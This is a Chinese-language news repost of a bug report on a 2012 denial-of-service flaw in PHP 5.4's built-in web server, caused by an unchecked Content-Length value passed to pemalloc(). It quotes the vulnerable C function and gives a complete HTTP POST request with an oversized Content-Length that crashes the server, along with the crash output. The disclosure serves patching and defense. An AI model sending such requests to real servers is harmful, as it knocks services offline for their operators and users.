你好,游客 登录 注册 搜索
背景:
阅读新闻

PHP 的 DoS 漏洞,Bug 61461

[日期:2012-04-11] 来源:Linux社区  作者:Linux [字体:大 中 小]

当一个包含大数值 Content-Length 的 HTTP 请求被发送到内建的 PHP web 服务器后,可以触发拒绝服务问题(DoS)。

Bug 61461

Content-Length 头的值被直接传入了 premalloc() 函数,在 sapi/cli/php_cli_server.c 第1538行。然后 Zend/zend_alloc.h 的内联函数 malloc() 将报错,终止进程,抛出“Out of memory”错误。

static int php_cli_server_client_read_request_on_body(php_http_parser *parser, const char *at, size_t length)
{
php_cli_server_client *client = parser->data;
if (!client->request.content) {
client->request.content = pemalloc(parser->content_length, 1);
client->request.content_len = 0;
}
memmove(client->request.content + client->request.content_len, at, length);
client->request.content_len += length;
return 0;
}

把 Content-Length 设置为 2^31 - 10,也就是接近32位系统的上限值,能够重现这个问题。

测试脚本:
下面这个 HTTP 请求将触发这个bug。

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2147483648

A=B

正确结果:
我们预期得到一个有意义的错误信息。

Invalid request (Requested Content-Length is larger the allowed limit of XYZ)

实际结果:
PHP 5.4.0 Development Server started at Tue Mar 20 19:41:45 2012
Listening on 127.0.0.1:80
Document root is /tmp
Press Ctrl-C to quit.
Out of memory

linux
本文评论   查看全部评论 (0)
表情: 表情 姓名: 字数

       

评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款